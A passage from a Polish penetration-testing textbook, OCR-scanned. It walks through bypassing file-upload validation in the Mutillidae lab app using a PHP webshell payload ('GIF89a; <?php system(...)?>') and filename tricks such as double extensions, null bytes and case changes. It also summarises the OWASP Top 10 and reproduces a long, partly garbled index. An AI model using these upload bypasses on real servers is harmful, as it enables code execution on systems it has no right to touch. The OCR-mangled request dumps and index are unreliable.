3 user-Aqent: Mzilla/5.0 (X1l Linux 36 64: rvi60.0) Gecko/201000101 Firefox/60.0
4 Aceept: taxt/hial. spplicsticn/rhtalsxnl. applicaticn xnl:qe. 9. /0 qed 8
en- U8, en: 0. 5
grip, deflste
172,16.0.107/mutill idee/ indun. phpTpage=uplond- fils. php
P ipart/fors-duta; boundaryss---+
3 Cont ent - -fnuth 143735
10 Connestion: clese
10 Cookie: chowhimicel; HsESSIOm) 10pis0ko] Sasosf] sdeelrd
2 Upgrad ecure-Requests: 1

5018 20T S G2 GO T DOPEDGAE
5 nanew*LUPLOAD CIRECTORY -

Contem -Digpogition: fore-du
-

51 B IS S GRS 445 EOGEEEAE
Content -Disposition Fors: Oathz. Fies “MAX_PILE_SIZE"

000000

--------------------------- BB IR L] BES A4S BIRSERAE

2% Comtent-Digposition: fors-data; nase="filenmae”: filenmse="photo.png”
4 Content - Tyne 1nsge/png

PHG
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Rysunek 8.36. quanle POST wystania pliku

Teraz do przechwyconego zadania sieciowego wprowadzimy nastepujace zmiany (zobacz
rysunek 8.37):

1. Zmien nazwe pliku z photo.png na photo.php.png.
2. Upewnij sie, ze pole Content-Type (typ zawartosci) jest ustawione na opcje image/png.

3. Zmien zawarto$¢ obrazu na nasz prosty tadunek PHP.

1 PCST /outillidae/index.php?page=upload-file.php HTTP/1.1

Host: 172,16,0.107

User-Agent: Mozilla/S.0 (X11; Linux xB865_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */%;q=0.8
Accepl-Language: en-US,en;g=0.5

Accept -Encoding: gzip, deflate

Referer: http://172.16.0.107/nutillidae/index . php?page=upload-file.php

Content -Type: multipart/form-data; boundarys------=--=crerrrrrocrconna- 4581 526585621 bE344580958648
Content -Length: 143735

Connection: close

Cookie: showhints=1; PHPSESSID=7l0pivulkSl3a693fl39dcclri

12 Upgrade-Insecure-Requests: 1

=
CWLNAWV L WN

=u

a8

----------------------------- 4581 £26585621 66344580958648
» Content -Disposition: form-data; name="UPLOAD_DIRECTORY"

ftm)

Ceeeesisisssissiioosiissss.--458]82658562166344580956648
Content -Disposition: form-data; name="MAX_FILE_SIZE"

21 ZCO0000

22 mmvemramve e 4581 826585621 68344580958648

23 Content -Dispo m-data; name="filename"; filenames*photo.phpl.png"
24 Content-Type: ge/png

25

26 BIFE%a;

2 ~- - 4581826585621 66344580958648
30 Content-Disposition: form-data; name="upload-file-php-submit-butten®

32 Upload File
33 eemmemeeeeesooeosoeooo oo - 4EBlE2658562] 68344580958648- -

Rysunek 8.37. Zmodyfikowane zadanie z tadunkiem
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Zmiana nazwy pliku
Aplikacje internetowe czesto sprawdzaja rozszerzenia plikéw, aby uniemozliwi¢ uzytkownikom
przesylanie czegos takiego jak pliki shell. php. W poprzednim przykladzie pozostawiliémy rozsze-
rzenie .png, a przed nim wstawiliémy .php, dzieki czemu mechanizm walidacji go nie wychwycil.
Oto kilka sztuczek, ktérych réwniez mozna uzy¢ do ominiecia takich zabezpieczen:
= Serwer WWW Apache pozwala na wykonanie pliku z podwéjnym rozszerzeniem
(np. shell.php.png).
= W przypadku serwera IIS 6 (a takze jego poprzednich wersji) mozna doda¢ $rednik
przed ostatnim rozszerzeniem (np. shell.asp;.png).
= Reguly rozrézniajace wielkos¢ liter mozna obej$¢, manipulujac pisownia liter
w rozszerzeniu, na przyklad:
= Shell. pHP,
= Shell.php3,
= Shell. ASP.

= Kolejng sztuczkya moze by¢ dodanie bajtéw zerowych (00 w zapisie szesnastkowym)
przed finalnym rozszerzeniem pliku, na przyktad shell. php%00.png.

Aby modyfikowac dane zadania sieciowego bezposrednio w postaci hek-
sadecymalnej, mozesz uzy¢ subkarty Hex w oknie Intercept w pakiecie Burp Suite (patrz
rysunek 8.38).

1 | rTe rasteey | websockets nistory | cpoens |

010780

¥
13
pyaE®

Rysunek 8.38. Burp Suite — subkarta Hex w oknie Intercept

Typ zawartosci

Typ zawartosci jest kolejnym waznym elementem, ktéry musimy bra¢ pod uwage podczas wysy-
tania pliku na zdalny serwer. Zawsze istnieje prawdopodobienistwo, ze deweloper dodat walidacje
na front-endzie i (lub) zapleczu aplikacji, ktéra sprawdza typ zawartosci pliku. Zawsze powi-
nienes si¢ upewnic¢, ze ustawienia typu zawartosci wysylanego pliku odpowiadajg typowi pliku,
ktdrego oczekuje serwer.

Zawartosc tadunku
Przyjrzyj si¢ doktadnie pierwszym dwém wierszom fadunku, ktérego uzylismy w naszym przy-
kladzie (patrz rysunek 8.37):

GIF89a;
<?php system('ls -la');?>
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Prawdopodobnie zadajesz sobie teraz pytanie: ,,Co oznacza zapis GIF89a?”. Jest to sygnatura
nagtéwka pliku, ktéra ma za zadanie oszuka¢ serwer tak, aby ,,mysélal”, ze nasz plik jest prawdzi-
wym plikiem obrazu. Aby przetestowal nasz pomyst, zapisz ten fadunek do pliku tekstowego,
nazwij go payload.txt i sprawdz jego typ za pomoca polecenia file:

root@ubuntu:~# file payload.txt
payload.txt: GIF image data, version 89a, 2619 x 16188

Kodowanie

W niektérych scenariuszach mozesz natkng¢ si¢ na strony internetowe, ktére posiadaja podsta-
wowe zabezpieczenia na zapleczu, blokujace wprowadzanie niepozadanych znakéw (co zapo-
biega przesylaniu plikéw, atakom XSS, wstrzykiwaniu komend itp.). W takim przypadku mozesz
sprébowac uzy¢ kodowania. Jezeli probujesz wstrzykna¢ swoj tadunek w ciag zapytania URL,
uzyj kodowania URL. Jezeli jest to formularz, uzyj kodowania HTML. W takich sytuacjach z po-
mocg przychodzi nieoceniony pakiet Burp Suite, posiadajacy specjalng karte Decoder (dekoder),
ktora zostata pokazana na rysunku 8.39.

ruder Repeater Wid

arget | Prawy [ intruder | Repester | Sequencer | Decoder | comparer | Bstender | Project aptions | User optiens

Hath.

R TIRA PN TR R TR T AR IR I RN T IR AR TR TR IR IR I T TRA TR T IR PR TR TR

Senart decade

Rysunek 8.39. Burp Suite — karta Decoder

Lista OWASP Top 10

Do tej pory poznates kilka najczesciej wystepujacych podatnosci i luk w zabezpieczeniach stron
WWW. OWASP (ang. Open Web Application Security Project) to fundacja non profit, ktérej ce-
lem jest pomaganie firmom i osobom prywatnym w rozwiazywaniu probleméw zwigzanych
z bezpieczenstwem aplikacji (wigcej szczegdtowych informacji na jej temat znajdziesz na stronie
https://owasp.org/).

Fundacja OWASP prowadzi liste 10 najbardziej krytycznych i waznych luk w zabezpiecze-
niach WWW, znang pod nazwag OWASP Top 10 (wigcej szczegdtowych informacji na ten temat
znajdziesz na stronie https://owasp.org/www-project-top-ten/). Pamietaj, Ze ta lista ciagle si¢ zmie-
nia, poniewaz fundacja OWASP $ciéle wspdlpracuje ze spolecznoscig uzytkownikéw i aktualizuje
te liste na biezaco:

1. Wstrzykniecia — ta kategoria obejmuje wszystkie rodzaje wstrzyknie¢.
= SQLI.

= Wstrzykiwanie polecen.
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= Wstrzykiwanie zapytan LDAP.
= Wstrzykiwanie kodu HTML.
= Wstrzykiwanie znakéw CRLF (ang. carriage return line feed).
= Wiele innych.
2. Niepoprawne uwierzytelnianie i zarzadzanie sesjg. W tej kategorii napastnik
najprawdopodobniej uzyje nastepujacych srodkow:
= Omijanie uwierzytelniania.
= Eskalacja uprawnien.
3. Narazanie wrazliwych danych, co powoduje ujawnienie chronionych danych/zasobéw
witryny.
4. Zewnetrzne encje XML (XXE). Ta podatnos¢ jest wykorzystywana, gdy aplikacja uzywa
XML do przetwarzania odwolan zewnetrznych.
5. Niepoprawna kontrola dostepu. Takie bledy sa wykorzystywane poprzez atakowanie
stabych punktéw autoryzacji witryny.
6. Bledna konfiguracja zabezpieczen. Nieprawidlowa konfiguracja witryny, np. pozostawienie
domys$lnej nazwy uzytkownika i hasta, umozliwia napastnikowi ich wykorzystanie.
7. Ataki typu cross-site scripting. Jak pamietasz, wyrdzniamy trzy gtéwne typy atakéw XSS:
= Reflected XSS.
= Stored XSS.

= DOM (taki atak wykorzystuje modyfikowanie kodu JavaScript na stronie
internetowej).

8. Niepoprawna deserializacja. Ten bfad jest wykorzystywany, gdy witryna Zle implementuje
serializacje/deserializacje danych na stronie WWW.

9. Uzywanie komponentéw o znanych podatnosciach. Takie podatnoéci moga obejmowaé
zar6wno front-end (np. jQuery), jak i biblioteki zaplecza (np. biblioteki logéw PHP).

10. Niewystarczajace logowanie i monitorowanie.

Podsumowanie

W tym rozdziale poznale$ najpopularniejsze podatnodci i luki w zabezpieczeniach aplikacji in-
ternetowych. Mozesz zaglebi¢ sie w ten temat, korzystajac z innych ksigzek po$wigconych bez-

pieczenstwu aplikacji. Jezeli chcesz dowiedzie¢ si¢ czegos wiecej o testach penetracyjnych, zapra-
szam do nastepnego rozdziatu.
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ACL, Access Control List, 284
Active Directory, 304
adresy IP, 64
routera/bramy, 65
statyczne, 65
1Pv4, 88
IPve6, 89
AES, Advanced Encryption Standard, 319
aktywa, 253
algorytm
AES, 319
HMAG, 318
MDS5, 314
RSA, 322
SHA, 316
algorytmy haszowania, 313, 314
anacrontab, 266
Apache
instalacja serwera, 204
aplikacje internetowe
back-end, 204
front-end, 210
podatnosci, 204
podatnosci na ataki SQL Injection, 219
testy penetracyjne, 233
tworzenie
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Skorowidz

aktywa, 253
diagram przeptywu danych, 254
modelowanie zagrozen, 253
podmioty trzecie, 254
poziomy zaufania, 254
punkty wejscia, 254
archiwum
Bz2, 44
Gz, 44
Tar, 44
zip, 44
ARP, Address Resolution Protocol, 87, 91
asembler, 342
instrukcja, 347, 348
JMP, 373
POP, 359
PUSH, 359
instrukcje skoku, 348
kod funkcji main, 353
kolejnos¢ bajtéw, 349
segmenty pamieci, 350
tryby adresowania, 350
typy danych, 349
atak
brute force, 101, 104, 141, 330, 333
HTTP POST, 160
na dane uwierzytelniajace, 146
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atak
na konta e-mail, 152
na konta, 163
na portal WWW, 157
na po$wiadczenia logowania, 138, 153, 155
na serwer bazy danych, 153
na SMB, 165
na SSH, 143
na ustuge RDP, 162
na VNG, 163
zaawansowany, 144
kombinatoryczny, 329
na dane uwierzytelniajace, 146, 406
na serwer
FTP, 138
SSH, 142
Telnet, 146
pass-the-hash, 303, 306
stownikowy, 328
SQL injection, 212, 220
automatyzacja wstrzykiwania kodu, 219
typu
CSRF, 224
spear phishing, 119
Stored XSS, 210
z uzyciem maski, 330
z wykorzystaniem powloki PowerShell, 132
ataki
hybrydowe, 333
socjotechniczne, 119

bash, 70
baza danych, 152
instalacja i konfiguracja, 205
MySQL, 153
Oracle, 153
Whois, 111
baza exploitow, 178
bezpieczne oprogramowanie, 252
biblioteka Docker Hub, 192
bufor, 366
analizowanie, 360
Burp Pro Scanner, 219
Burp Suite, 210
karta Decoder, 231
Burp Suite Pro, 234

Kup ksigzke

filtr zakresu, 238
karta

Extender, 244

Intruder, 242

Repeater, 241

Site map, 239

Target, 237
opcje

Add To Scope, 238

tadunku, 244

pakietu, 236
pobieranie certyfikatu, 235
skanowanie podatnos’ci, 240
subkarta BApp Store, 246
testy penetracyjne, 234
tworzenie raportow, 246
uruchamianie pakietu, 235
wyliczanie elementéw witryny, 239

Burp Suite Proxy, 159

C

CI/CD, Continuous Integration/Continuous
Development, 153
ciagi znakow, 385
Core Impact, 176
COW, copy-on-write, 259
CrackMapExec, 305
Crawling, 248
CRON, 265
planowanie zadan, 265
wyliczanie zadan, 266
CSRE, Cross-Site Request Forgery, 224
CVSSv3.1, 336
cykl rozwoju oprogramowania, 252
faza analizy i planowania, 253
faza testowania, 256
faza tworzenia/rozwoju, 255
wdrozenie w §rodowisku produkcyjnym, 256

D

dane wejsciowe, 76

DC, Domain Controller, 304
DevSecOps, 203

diagram przeptywu danych, 254, 255
Dirty Cow, 259

DMitry, 114
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DNS, Domain Name System, 66
DNS brute force, 102
Docker, 154, 193
instalacja, 449
kontener Mutillidae, 454
kontenery, 451
obrazy, 451
podatnosci, 191
polecenia, 449
rejestry obrazow, 451
woluminy, 453
dockerfile, 453
dolgczanie plikow
lokalnych, LFI, 221
zdalnych, RFI, 221
dostep
anonimowy do serwera FTP, 139
do zdalnej powtoki, 218

edytor tekstu
nano, 48
vim, 48
e-mail
wysytanie wiadomosci, 120
Evolution, 189
exploit, 138, 176
Dirty Cow, 259
Eternal blue, 202
exploity
jadra systemu, 259
Windows, 284
przenoszenie na hosta, 261
wyszukiwanie, 260, 285

F

falszywie pozytywne wyniki, 99
faza
eksploracji, 168
enumeracji, 137, 248
fdisk, 34
FHS, Filesystem Hierarchy Standard, 26
File Manager, menedzer plikow, 425
karta Advanced, 427
karta Behavior, 427
karta Display, 426
karta Side Pane, 427
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FileZilla, 179
fingerprinting, 106
folder Program Files (x86), 290
footprinting, 106
formatowanie ciagu znakéw, 73, 385
FTP, File Transfer Protocol, 138
logowanie do serwera, 180
nawigzanie polaczenia, 181
podatnosci ustugi, 179
pola}czenie 7 serwerem, 180
zdalne wykonanie kodu, 181
FTPS, File Transfer Protocol Secure, 138
fundacja OWASP, 231
funkcja, 77
input, 382
print, 382
sys.argv, 383
sys.exit, 382
funkcje
argumenty opcjonalne, 389
skrotu, 313
zastosowania, 314
tekstowe, 385
zwracanie warto$ci, 389

G

generowanie
fadunku, 374
pary kluczy SSH, 54
GHDB, Google Hacking Database, 108
GoBuster, 248
Google Dorks, 108
Google Hacking Database, 110

grafy, 115

H

Hashcat, 324
famanie hasel, 324
testowanie wydajnoéci, 324
tryby ataku, 328
hasta, 37
hasz, Patrz skroty haset
haszowanie
bez soli kryptologicznej, 317
hasel, 316
z uzyciem soli kryptologicznej, 317
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HMAC, Hash-based message authenticated
code, 318

HTOP, 63

Hydra
atak brute force, 141, 143, 157, 159

ICMP, Internet Control Message Protocol, 87
IDE, Integrated Development Environment, 70
identyfikacja
systemu operacyjnego, 97
ustug, 93, 95
identyfikator PID procesu, 63
IMAP4, Internet Message Access Protocol v4,
147, 151
Immunity Debugger, 352
analiza bufora, 360
mapa pamieci, 355
okno Memory Dump, 354, 355
otwieranie pliku, 361
polecenie Follow in Dump, 354
przycisk Run, 362
segment .text, 356
stos, 357
tryb Paused, 353
zlokalizowanie instrukeji JMP ESP, 373
informacje
o nazwie hosta, 58
o sprzecie, 58
o0 systemie operacyjnym, 58
instalacja pakietu Mutillidae, 206
instrukcja
if, 79
if-else, 390
interfejsy sieciowe, 63, 64
inzynieria odwrotna, 342, 351
Immunity Debugger, 352
inzynieria spoteczna, 120
IoT, Internet of Things, 65
IP, Internet Protocol, 88

J

JavaScript

omijanie walidacji, 210
Jenkins, 155

podatnosci, 195
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jezyk

asembler, 342
C/C++, 351

instrukcje asemblera, 360
Python, 377

K

Kali Linux, 25
dostosowywanie pulpitu, 435
File Manager, 425
instalowanie systemu, 441
konfiguracja ustawien sieci, 417
menu, 413
Favorites, 414
Recently Used, 416
ustawien, 417
Usual Application, 415
okno
Appearance, 418
Desktop, 421
Display, 424
Keyboard, 428
MIME Type Editor, 429
Mouse and Touchpad, 430
Window Manager, 433
Workspaces, 433
pasek wyszukiwania, 414
pulpit, 413
$rodowisko graficzne Xfce, 412
Kali Linux Desktop, 410
kalkulator CVSS, 339
katalog gtéwny, root directory, 26
katalogi
montowanie, 45
klasy adresow IP, 64
klient FileZilla, 179
klucz
prywatny, 54
publiczny, 54
USB Rubber Ducky, 129, 130
replikacja ataku, 135
kod spaghetti, 77
kodowanie URL, 231
komentarze, 381
kompresowanie plikéw, 44
konfiguracja
statycznego adresu IP, 65
zapory sieciowej, 205
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konsola Windows Management
Instrumentation, 274
konstruktor klasy, 395
kontener
Kali, 193
tworzenie, 192
uruchamianie powtoki, 193
Mutillidae, 454
kradziez poswiadczen, 123
krotki, 387
kryptografia, 312

L

lateral movement, 300
LFI, Local File Inclusion, 221
LinEnum, 271
lista
kontrolna, 250
dla stron specjalnych, 251
kontroli dostepu, ACL, 284
listener, 128
uruchamianie, 286, 287
listy, 387
little endian, 349
logowanie zdalne, 52, 53
luki w zabezpieczeniach
przesylanie plikow, 226

L

tadunek, payload, 124
tamanie hasel, 324
faczenie sie z hostami, 51

M

Maltego, 114
transformacje, 116
transformacje dla nazwy domeny, 117
tworzenie graféw, 115
Maltego Transform Hub, 115
maska podsieci, 65, 331
maszyna wirtualna, 65
pierwsze uruchomienie, 411
z systemem Kali Linux, 411
Metasploit, 286
powloki pakietu, 199

Kup ksigzke

Metasploit Pro, 176
metody, 394
MIB, Management Information Base, 166
Microsoft SQL Server, 152
Mimikatz, 303, 304, 306
model OS], 88
modelowanie zagrozen, 253
montowanie
dyskow USB, 46
katalogow, 45
MSFvenom, 200
generowanie shellcode, 375
Mutillidae, 204
dolaczanie plikéw zdalnych, 223
instalacja pakietu, 206
wstrzykiwanie kodu SQL, 215
wysylanie plikéw, 227

N

nadpisywanie pliku passwd, 263
nagléwek zadania

wstrzykniecie JavaScriptu, 209
narzedzie, Patrz takze polecenie, program

awk, 50

curl, 68

cut, 50

fdisk, 34

grep, 49

LinEnum, 271

NetBIOS, 163

Netcat, 126, 132, 368

Nikto, 249

Nmap, 92

passwd, 263

pattern_offset, 371

SearchSploit, 178

theHarvester, 112

wesng, 285

wget, 68

WinPEAS, 299

wmic, 274
Nmap, 92

identyfikacja

systemu operacyjnego, 97
ustug, 95
opcje, 96
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Nmap OpenVAS
skanowanie instalacja pakietu, 171
portow, 94 konfigurowanie opcji celu, 174
ustug, 139, 146 opcje zadan skanowania, 174
zaawansowane, 140, 142, 146, 148 raport, 175
skrypty, 140, 142, 146, 148 sekcja odno$nikéw, 177
NSE, 98 skanowanie podatnoéci, 171
Wyliczanie, 248 OpenVAS raport, 176
notacja CIDR, 88 operacje na plikach, 41
NSE Category Scan, 99 operator &&;, 61
NSE, Nmap Scripting Engine, 98 operatory
numery portéw, 90 arytmetyczne, 384
poréwnania, 391
(0] otwarte przekierowania, open redirect, 233
obstuga P
wyjatkow, 393
zadan HTTP, 161 pakiet, 61
ocena podatnosci, 169, 249, 336 Maltego, 114
przebieg procesu, 169 Burp, 210, 211
odwrécone powloki, 135, 198 Burp Pro Scanner, 219
okno Burp Suite, 159, 234
Appearance CrackMapExec, 305
karta Fonts, 420 DMitry, 114
karta Icons, 419 Evolution, 189
karta Settings, 420 Fierce, 104
karta Style, 418 htop, 62
Desktop Hydra, 141, 147
karta Background, 421 atak brute force, 147
karta Icons, 424 Immunity Debugger, 352
karta Menus, 422 Metasploit, 128, 144, 286, 370
Display modul smtp_enum, 149
karta Advanced, 425 MSFvenom, 199
karta General, 424 Mutillidae, 204
Keyboard Nikto, 249
karta Application Shortcuts, 428 OpenVAS, 171
karta Behavior, 428 SET, 120
karta Layout, 429 polaczenie typu Reverse Shell, 127

Mouse and Touchpad

przesylanie tadunku, 128
karta Appearance, 432

skrypt powloki PowerShell, 132
karta Display, 431 Visual Studio Code, 351, 379
karta Items, 432 passwd
Panel gérny, 431 nadpisywanie pliku, 263
terminala Tmux, 30 pasywne zbieranie informacji, 106
Window Manager narzedzia preinstalowane, 110
karta Focus, 434 Pentest Robot, 396
karta Keyboard, 434 atak na dane uwierzytelniajace, 406

karta Style, 434 dziatanie aplikacji, 397
Workspaces, 433
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poszukiwanie aktywnych hostow, 402
refaktoryzacja kodu, 401
skanowanie portéw i ustug, 403
uruchamianie aplikacji, 399
walidacja danych wejéciowych, 399
petla
for, 80, 392
loopback, 65
while, 80, 391
phishing, 119
PHP, 205
pivoting, 300, 306
planowanie zadan
anacrontab, 266
katalog cron, 265
plik crontab, 265
plik
bashrc, 74
/etc/crontab, 266
/etc/hosts, 67
/etc/issue, 58
/etc/network/interfaces, 65
/etc/passwd, 263
/proc/cpuinfo, 58
/proc/me, 59
[root/.set/payload.exe, 128
/root/.ssh/id_rsa.pub, 194
authorized_keys, 194
crontab, 265
dockerfile, 453
NTDS.DIT, 304
SAM, 302
sources.list, 61
sudoers, 268
pliki
.deb, 61
.png, 230
.sh, 73
i katalogi, 38
kompresowanie, 44
przesylanie, 68
stownikow, 328
tekstowe, 46
ukryte, 40
wyszukiwanie, 42
zestawow znakdw, 333
pobieranie danych z tabeli, 218
poczta elektroniczna
podatnosci serwera, 189
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podatnosci
Dockera, 191
Jenkinsa, 195
protokotu SMB, 201
serwera poczty elektronicznej, 189
ustugi
FTP, 179
SSH, 184
Telnet, 185
w aplikacjach internetowych, 204
podatnosé
na ataki SQL Injection, 219
na dotgczanie plikow, 221
na przepelnienie stosu, 367
rozmiar bufora, 369
sterowanie wskaznikiem EIP, 371
testowanie, 367
wstrzykniecie tadunku, 373
typu
CSRF, 224
Reflected XSS, 207
Stored XSS, 208
XSS, 206
podsieci, 88
polecenia
bezpieczenstwa, 34
Dockera, 449
okna terminala, 27
zwigzane z zarzadzaniem
grupami, 37
uzytkownikami, 34
polecenie
apt full-upgrade, 61
apt install, 61, 62
apt remove, 62
apt update, 61
apt upgrade, 61
apt-cache search, 62
apt-cache show, 62
arp-scan, 92
awk, 50
cacls, 280
cat, 27, 36, 37
cd, 26, 45
chmod, 41, 74
cp, 41, 263
curl, 68
cut, 50
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polecenie

s ssh-keygen, 194
g sudo, 26, 34, 268
B sysinfo, 273
e systeminfo, 275, 285
e 1 a1 tail, 46, 47
B 26 tasklist /v, 281
getsystem, 288 R
e Tmux, 30
grep, 29, 36, 37,49 R
B i 37 umount, 46
head, 46, 47 o sl
hotory 29 union select, 217
hostname, 58 nded
posnane updatedb, 42
id, 35, 184, 260 2t
feonta o1 userdel, 36
o o usermod, 37
ipconfig /all, 278 wae
kill, 63 e
e wget, 68, 261
47 which, 43, 183
locate, 42 o
Is, 26, 38, 40, 262 e
Isblk, 46, 59 N
o wireshark, 85
s wic, 274
A polaczenia sieciowe, 63
mount, 46, 59 P o 51
msfconsole, 144 SMb. 20
o SMB, 201
net localgroup, 276 oo Beven
petlocelero: typu Reverse Shell, 127
et 2 POE”3, Post Office Protocol v3, 147, 151
79,92 porf)wnywanie
Lo ciggéw znakow, 80
e plikéw lub katalogow, 80
e wartosci liczbowych, 80
ping, 90 it
ping 50 110, 151
s 139, 163
rdesktop, 51 13515
reboot, 29 1108
e 1521, 153
route print, 278 e
scp, 68, 69 e
service ssh start, 53 i
spawn, 183 751

2375, 154
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25,147
3306, 153
3333, 286
3389, 51, 161
443,90, 161
445, 163, 201
5900, 162
80, 67, 161
8080/50000, 155
989, 138
990, 138
porty
numery, 91
powloka
bash, 70
Bind Shell, 124
Meterpreter, 199, 287
PHP webshell, 227
PowerShell, 131, 298
Reverse Shell, 124, 131
prawa dostepu, 40
proces oceny podatnosci, 169
procesy, 62
nastuchujace, 124
program
anacrontab, 266
Burp Suite, 210
Core Impact, 176
CrackMapExec, 305
Dbeaver, 213
Evolution, 189
Hashcat, 324
Metasploit Pro, 176
Mimikatz, 303, 306
MSFvenom, 200
Netcat, 132, 286, 368
Pentest Robot, 396
PSExec, 292
Pwdump, 302
SQLMap, 219
wes.py, 285
Wireshark, 85
protokoly
baz danych, 152
CI/CD, 153
do potaczen GUI, 161
poczty elektronicznej, 147
przesylania plikéw, 138
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sieciowe, 85
wspoldzielenia plikow, 163
protokot
ARP, 87,91
FTP, 138
FTPS, 138
HTTP, 161
ICMP, 87
IMAP4, 147
1P, 88
POP3, 147
RDP, 51, 161
SMTP, 147
SNMP, 166
TCP, 51, 85
telnet, 145
UDP, 86
przechwytywanie
danych uwierzytelniajacych, 138
fadunky, 211
nieszyfrowanych transmisji, 139
przekierowywanie
portow, 306
dynamiczne, 310
lokalne, 308
zdalnych, 309
wyjscia do pliku, 29
przepelnienie stosu, 358, 364
przestrzen kluczy, 330
przesylanie plikow, 68, 226
Linux, 282
omijanie walidacji, 228
Windows, 282
zmiana nazwy pliku, 230
pulpit
dodawanie panelu, 437
usuwanie ikon, 435
zmiana wygladu, 439
punkty wejscia, 254
Python, 377

automatyzacja testow penetracyjnych, 396

ciagi znakow, 385
debugowanie skryptow, 379
funkcje, 388

importowanie modutéw, 382
instrukcje warunkowe, 390
komentarze, 381

krotki, 387
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Python S
listy, 387
obstuga wyjatkow, 393 SAM, Security Account Manager, 302
operatory SDLC, Software Development Lifecycle, 252

arytmetyczne, 384
poréwnania, 391
Pentest Robot, 396
petle, 391
stowniki, 388
uruchamianie skryptéw, 378
wciecia wierszy, 382
wiersz shebang, 381
wprowadzanie danych, 382
wysylanie wiadomosci e-mail, 122
wys$wietlanie informacji, 382
zarzadzanie plikami, 392
zmienne
globalne, 389
numeryczne, 383
znaki specjalne, 394

R

raport, 340
dzienniki zmian, 340
podsumowanie, 341
sekcja podatnosci, 341
strona tytulowa, 340
raport OpenVAS, 176
RDP, Remote Desktop Protocol, 161
refaktoryzacja, 77
reguty
ataku kombinatorycznego, 330
stownikowe, 328
rejestr flag, 345
rejestry
indeksowe, 344
ogolnego przeznaczenia, 343
segmentow, 345
wskaznikowe, 344
rekonesans, 106
replikacja ataku, 135
RFI, Remote File Inclusion, 221, 222
rozszerzenie
.deb, 61
.png, 230
.sh, 73
RSA, Rivest Shamir Adleman, 322
ruch poprzeczny, 300
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SearchSploit, 178
serwer
bazy danych Oracle, 153
DNS, 66
SSH, 53, 142, 308
sesje GUI, 161
SET, The Social Engineering Toolkit, 120
SHA, Secure Hash Algorithm, 316
shellcode, 375
skaner
Nmap, 62, 92
SMTP, 150
skanowanie
Discover Content, 240
NSE Category Scan, 99
podatnoéci, 171
portéw, 93
Nmap, 94
TCP SYN Scan, 93
UDP Scan, 93
sieci, 90
ustug, 139
skréty haset, 301
atak pass the hash, 303, 306
LM, 301
tamanie, 303, 312, 326
NTLM, 302
plik SAM, 302
pobieranie z Active Directory, 304
ponowne wykorzystanie, 305
skrot klawiaturowy
Ctrl+A, 30
Ctrl+Alt+T, 27
Ctrl+B, 30
Ctrl+C, 28
Ctrl+D, 29
Ctrl+L, 28
Ctrl+0, 49
Ctrl+Shift+T, 28
Ctrl+W, 49
Ctrl+X, 49
skrypty
dane wejsciowe, 76
debugowanie, 379
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JavaScript, 210
NSE, 98
argumenty wywotania, 101
parametry wywolania, 75
PowerUp, 298
powloki bash, 72
uruchomienie, 74
w jezyku Python, 369, 378
wiersz shebang, 381
zautomatyzowane, 270
stowniki, 328, 388
stowo kluczowe
except, 382
import, 382
python, 378
self, 395
try, 382
SMB, Server Message Block, 163
exploit Eternal Blue, 202
podatnosci protokotu, 201
SMTP, Simple Mail Transfer Protocol, 147
sniffery sieciowe, 85
SNMP, Simple Network Management
Protocol, 166
socjotechnika, 119
s6l kryptologiczna, 317
spear phishing, 120
SQLMap, 219
wstrzykiwanie kodu SQL, 219
SSH, Secure Shell, 51, 142
dynamiczne przekierowywanie portow, 310
logowanie, 184
lokalne przekierowywanie portéw, 308
podatnoéci ustugi, 184
przekierowywanie portéw zdalnych, 309
restartowanie uslugi, 56
sprawdzanie stanu ustugi, 53
uruchamianie ustugi, 53
SSREF, Server-Side Request Forgery, 233
stos, 358
przepelnienie, 364
struktura, 366
strony
logowania, 251
pozwalajace na przesylanie plikow, 251
rejestracji uzytkownikdow, 251
resetowania/zmiany hasla, 251
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sudoers
edycja pliku, 269
modyfikowanie pliku, 268
modyfikowanie zawartosci pliku, 270
SUID, Set User ID, 262
symbol wieloznaczny *, 100
system
plikéw, 26
punktacji CVSS, 336
szczesliwa $ciezka, happy path, 367
szyfrowanie
asymetryczne, 321
RSA, 322
symetryczne, 319

-

S

$rodowisko graficzne Xfce, 412

T

tabela Accounts, 212
tablica routingu, 278
TCP, Transmission Control Protocol, 85, 161
trojetapowe uzgadnianie polaczenia, 85
technologia Docker, 449
tekst
filtrowanie, 49
wyszukiwanie, 49
telnet, 145, 146
brak szyfrowania, 186
podatnosci ustugi, 185
terminal MobaXterm, 52
testowanie
awarii serwera, 369
polaczenia internetowego, 66
szczesliwej Sciezki, 368
testy penetracyjne
lista kontrolna, 250
ocena podatnosci na zagrozenia, 336
raporty, 335
system punktacji CVSS, 336
TheHarvester, 112
Tmux, 30
nawigacja, 32
opis polecen, 33
skréty klawiszowe, 33, 30
uruchamianie terminala, 30
zarzadzanie sesjami, 31
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transfer stref DNS, 103
tunelowanie SSH, 308
tworzenie
bezpiecznego oprogramowania, 252
grafow, 115
instancji obiektu, 395
kontenera Kali, 192
skryptow, 71, 73, 102
$rodowiska laboratoryjnego, 448

U

UDP, User Datagram Protocol, 86
uprawnienia
do pliku passwd, 263
sudo, 268
SUID, 262
w systemie
Windows, 272, 284
Linux, 258
uruchamianie
powloki PowerShell, 133
skryptu powtoki PowerShell, 134
ustuga, 269
DNS, 66
harmonogramu Cron, 265
HTTPS, 90
RDP, 51
SNMP, 166
SSH, 53
telnet, 146
WWW, 67
ustugi
sieciowe
wyszukiwanie zaawansowane, 137
sprawdzanie statusu, 60
uruchamianie, 60
automatyczne, 60
ponowne, 60
Windows, 293
nadpisywanie pliku wykonywalnego, 295
niepoprawnie skonfigurowana $ciezka, 295
nieprawidlowe uprawnienia w rejestrze,
297
nieprawidlowo skonfigurowane
uprawnienia, 294
zatrzymywanie, 60
uzytkownicy i grupy, 33
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uzytkownik
nonroot, 26
root, 26

\')

Visual Studio Code, 351, 379
VLAN, 65
VNG, Virtual Network Computing, 162

w

warstwy modelu OSI, 88
webshell PHP, 227
wiadomoéci e-mail, 120
wiersz shebang, 73
Windows
architektura systemu, 274
dostep do powloki administratora, 292
grupy, 283
informacje o systemie, 273
konta
ustugowe, 283
uzytkownikéw, 283
lista
aplikacji zainstalowanych, 290
biezacych potaczen, 279
grup domenowych, 277
interfejséw sieciowych, 278
kontroli dostepu, ACL, 284
napedow dyskowych, 274
uzytkownikéw i grup, 275
zadan i procesow, 281
zainstalowanych aktualizacji, 275
zainstalowanych programow, 280
podatnoéci i luki w zabezpieczeniach, 283
aplikacji, 289
ustug, 293
zaplanowanych zadan, 297
skréty haset, 301
tablica routingu, 278
